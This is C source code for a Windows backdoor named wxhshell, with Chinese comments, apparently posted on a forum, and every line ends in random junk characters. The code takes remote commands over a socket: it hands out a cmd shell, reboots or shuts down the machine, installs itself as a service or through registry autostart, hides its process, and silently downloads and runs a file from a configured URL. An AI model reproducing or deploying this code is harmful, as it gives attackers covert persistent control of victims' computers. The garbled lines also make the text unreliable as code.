      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /l%+l@  
    break; w/49O;rV  
  } m=K46i+NE  
  // 安装 vB?(|  
  case 'i': { [gkOwU=?  
    if(Install()) Zws[C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  8MZ:=  
    else lWyg_YO@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0F5QAR O  
    break; ,5XDH6L1  
    } H~1o^ gU  
  // 卸载 &Hj1jM'  
  case 'r': { lj US-6  
    if(Uninstall()) \D5_g8m:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F?c : ).g  
    else xoB "hNIX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dq4t@:\o0  
    break; O>c2*9PM  
    } SB) Hz8<  
  // 显示 wxhshell 所在路径 N5F+h94z]  
  case 'p': { AMSn^ 75  
    char svExeFile[MAX_PATH]; Io*mFa?  
    strcpy(svExeFile,"\n\r"); Z~{0x#?4%  
      strcat(svExeFile,ExeFile); Ly~s84k_po  
        send(wsh,svExeFile,strlen(svExeFile),0); )e?6 Ncy  
    break; E%&E<<nhZ  
    } .4%6_`E  
  // 重启 y,F|L?dIq  
  case 'b': { 4|INy =<"t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b8O }XB  
    if(Boot(REBOOT)) "8R\!i.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %7SGQE#W_~  
    else { /I@`B2  
    closesocket(wsh); J,_IHzO~Z  
    ExitThread(0); /zTx+U.\I  
    } R-]i BL  
    break; +*=?0\  
    } ApotRr$)  
  // 关机 y"nL9r.,:  
  case 'd': { pP^"p"<s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a-Ne!M[  
    if(Boot(SHUTDOWN)) dx)v`.%V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e)Pm{:E  
    else { ;Ebpf J  
    closesocket(wsh); x67,3CLy?  
    ExitThread(0); M^?=!!US^  
    } e =4k|8G  
    break; - * _"ZgE  
    } uTIl} N  
  // 获取shell I%# e\  
  case 's': { qp`G5bw  
    CmdShell(wsh); 3@^b's'S|}  
    closesocket(wsh); $-R9J6NN  
    ExitThread(0); =:pN82.G  
    break; QP[`*X  
  } t.]c44RY  
  // 退出 -"X} )N2  
  case 'x': { M$AQZ')9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tx0l^(n  
    CloseIt(wsh); -nKBSls  
    break; J6*B=PX=(  
    } Ykt(%2L  
  // 离开 n+;PfQ|  
  case 'q': { Bl8&g]dk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~zA{=|I2  
    closesocket(wsh); +H8;*uZ|k,  
    WSACleanup(); ;WpPdR2  
    exit(1); !Knv/:+  
    break; {1j[RE  
        } ||vQW\g  
  } "Gm:M  
  } !>L+q@l)  
O-K!Bv^ Q  
  // 提示信息 uH?lj&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wJF Fg :  
} x1ID6kI[{*  
  } ky5gU[  
| QI-gw  
  return; uyDYS  
} 4!r> ^a  
q'p>__Ox  
// shell模块句柄 %D:5 S?{  
int CmdShell(SOCKET sock) V7 dAB,:  
{ `O/RNMaC  
STARTUPINFO si; p; ZEz<M  
ZeroMemory(&si,sizeof(si)); .+c YzS] !  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tXIre-. 2}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r ,,A%  
PROCESS_INFORMATION ProcessInfo; M B,P#7|  
char cmdline[]="cmd"; PX1Scvi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ev\kq>2 O  
  return 0; W<uL{k.Kpd  
} 4)3!n*I  
AH(O"v`  
// 自身启动模式 2)^[SpZ  
int StartFromService(void) fJ3qL# '  
{ -=]LQHuQ  
typedef struct HG%H@uK  
{ jdYv*/^  
  DWORD ExitStatus; = *A_{u;E  
  DWORD PebBaseAddress; 4l?98  
  DWORD AffinityMask; r_Rjjo  
  DWORD BasePriority; O:a$ U:  
  ULONG UniqueProcessId; #:68}f"$  
  ULONG InheritedFromUniqueProcessId; 0OMyE9jJJ  
}   PROCESS_BASIC_INFORMATION; b+M[DwPw  
DOWUnJ;5  
PROCNTQSIP NtQueryInformationProcess; G\H@lFh  
[VPqI~u5)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZtEHP`Iin  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZX.VzZS  
uu>[WFh  
  HANDLE             hProcess; 79%${ajSI  
  PROCESS_BASIC_INFORMATION pbi; ^U_B>0`ch  
pKMf#)qm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kx1-.~)p(z  
  if(NULL == hInst ) return 0; I01On>"@7  
N_VAdNJ^:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DoPm{055J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AX1'.   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7Hpsmfm  
){>;eky  
  if (!NtQueryInformationProcess) return 0; ]'_z (s}  
L#u6_`XJ+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RkLH}`#  
  if(!hProcess) return 0; XR\ iQ  
hBE}?J>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <UQ:1W8>B  
}M|  
  CloseHandle(hProcess); ;lAz@jr+  
u3,b,p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {djOU 9]  
if(hProcess==NULL) return 0; oT|E\wj  
z<<` 1wqg  
HMODULE hMod; /p>"|z  
char procName[255]; ~N'KIP[W  
unsigned long cbNeeded; }C#YR( ]  
6w}:w?=6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MO#%w  
m2|0<P@k!  
  CloseHandle(hProcess); !gf&l ^)  
'KQu z)-  
if(strstr(procName,"services")) return 1; // 以服务启动 g\(7z P  
VY _(0  
  return 0; // 注册表启动 hkU# lt  
} Ky nZzR  
(I[o;0w  
// 主模块 t41cl  
int StartWxhshell(LPSTR lpCmdLine) ?o.G@-  
{ =,@SZsM*B  
  SOCKET wsl; jQ`"Op 3  
BOOL val=TRUE; Op%^dwVG(v  
  int port=0; u khI#:[  
  struct sockaddr_in door; 1C$^S]v%a  
D}"GrY 5  
  if(wscfg.ws_autoins) Install(); K.z}%a  
e('c 9 Y  
port=atoi(lpCmdLine); Tz*5;y%4  
FxZ\)Y   
if(port<=0) port=wscfg.ws_port; x(b&r g.-0  
RPiCXpJv&  
  WSADATA data; ao-C9|2>NU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mG@Q}Y(  
*Nt6 Ufq6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4UL-j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I$ mOy{/#  
  door.sin_family = AF_INET; Ew:JpMR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AN~1E@"  
  door.sin_port = htons(port); `z=MI66Nl  
<![T~<.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZY/at/v  
closesocket(wsl); ,OasT!Sr  
return 1; sG VC+!E  
} v}_$9&|S  
;c>Yr ?^  
  if(listen(wsl,2) == INVALID_SOCKET) { C3_*o>8  
closesocket(wsl); {9l4 pT3  
return 1; `\Npu  
} }dXL= ul  
  Wxhshell(wsl); v%FVz  
  WSACleanup(); r\Nn WS J  
J5o"JRJ"  
return 0; So8P 8TCK  
_&z>Id`w  
} sJ?kp^!g  
7CIje=u.q  
// 以NT服务方式启动 Zwt!nh   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8% |x)  
{ gEe}xI  
DWORD   status = 0; }%1E9u  
  DWORD   specificError = 0xfffffff; %d7iQZb>  
nK|";  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WWe.1A,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ka{IueSs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~*[}O)7#  
  serviceStatus.dwWin32ExitCode     = 0; ZE\t{s0  
  serviceStatus.dwServiceSpecificExitCode = 0; ,H%\+yn{  
  serviceStatus.dwCheckPoint       = 0; Sph+kiy|  
  serviceStatus.dwWaitHint       = 0; =_1" d$S&  
ld?M,Qd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JIQzP?+?  
  if (hServiceStatusHandle==0) return; O:x=yj%^  
8zGzn%^  
status = GetLastError(); YW}/C wB  
  if (status!=NO_ERROR) 95<:-?4C;W  
{ RTU:J67E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S; c=6@"  
    serviceStatus.dwCheckPoint       = 0; {l6]O  
    serviceStatus.dwWaitHint       = 0; )b7mzDp(  
    serviceStatus.dwWin32ExitCode     = status; dG rA18  
    serviceStatus.dwServiceSpecificExitCode = specificError; ='JX_U`A^F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g<C})84y3  
    return; z]WT>4  
  } + mcN6/  
2 g8PU$T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oD8-I^  
  serviceStatus.dwCheckPoint       = 0; 5cADC`q  
  serviceStatus.dwWaitHint       = 0; %x *f{(8h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @3@%9E  
} ;F+%{LgKl  
.Sn1YAhE  
// 处理NT服务事件,比如:启动、停止 5a`}DTB[Co  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D[r  
{ J91`wA&r  
switch(fdwControl) < 9MnQ*@  
{ 9C.cz\E  
case SERVICE_CONTROL_STOP: /f[_]LeV]  
  serviceStatus.dwWin32ExitCode = 0; 8vRiVJ8QS:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f/B--jq  
  serviceStatus.dwCheckPoint   = 0; 9j"\Lr*o "  
  serviceStatus.dwWaitHint     = 0; Z~|J"2.  
  { QEgv,J{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9N29dp>g{{  
  } 8j$q%g  
  return; 6vA5L_  
case SERVICE_CONTROL_PAUSE: yR!>80$j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R3PhKdQ"  
  break; +{I\r|  
case SERVICE_CONTROL_CONTINUE: 'KL(A-}!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \\qg2yI  
  break; ayD\b6Z2.  
case SERVICE_CONTROL_INTERROGATE: [GuDMl3hC  
  break; \f  LBw0  
}; C;5}/J^E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dpd$&Wr0Y  
} UE4#j \  
pUr[MnQLf  
// 标准应用程序主函数 7" [;M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ts]7 + 6V  
{ x\DkS,O  
' 7A7HDJ  
// 获取操作系统版本 _#O?g=1  
OsIsNt=GetOsVer(); FCWphpz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Gn[T1p?  
+Xp;T`,v  
  // 从命令行安装 -AT@M1K7%  
  if(strpbrk(lpCmdLine,"iI")) Install(); zT% kx:Fk  
=/;_7|ssd  
  // 下载执行文件 P1QJ'eC;T  
if(wscfg.ws_downexe) { Kq$Zyf=E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ie!4z34  
  WinExec(wscfg.ws_filenam,SW_HIDE); `9+EhP$RS  
} 3EvA 5K.  
#+;=ijyF  
if(!OsIsNt) { @_Zx'mTI  
// 如果时win9x,隐藏进程并且设置为注册表启动 6`C27  
HideProc(); 7|-xM>L$A  
StartWxhshell(lpCmdLine); DX"; v J  
} zEW:Xe)  
else fq|2E&&v  
  if(StartFromService()) _&/Zab5  
  // 以服务方式启动 %\cC]<>  
  StartServiceCtrlDispatcher(DispatchTable); @nP}q!y  
else {Y[D!W2y  
  // 普通方式启动 DVJc-.x8  
  StartWxhshell(lpCmdLine); q UnFEg  
arP+(1U  
return 0; pqSE|3*l  
}
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只看该作者 1 发表于: 2006-10-10
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